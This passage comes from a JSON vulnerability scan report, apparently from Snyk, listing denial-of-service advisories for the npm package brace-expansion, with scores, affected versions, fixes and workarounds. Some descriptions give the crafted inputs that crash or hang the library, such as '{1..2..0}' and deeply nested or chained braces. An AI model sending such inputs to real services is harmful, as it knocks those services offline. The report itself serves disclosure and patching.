"CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", 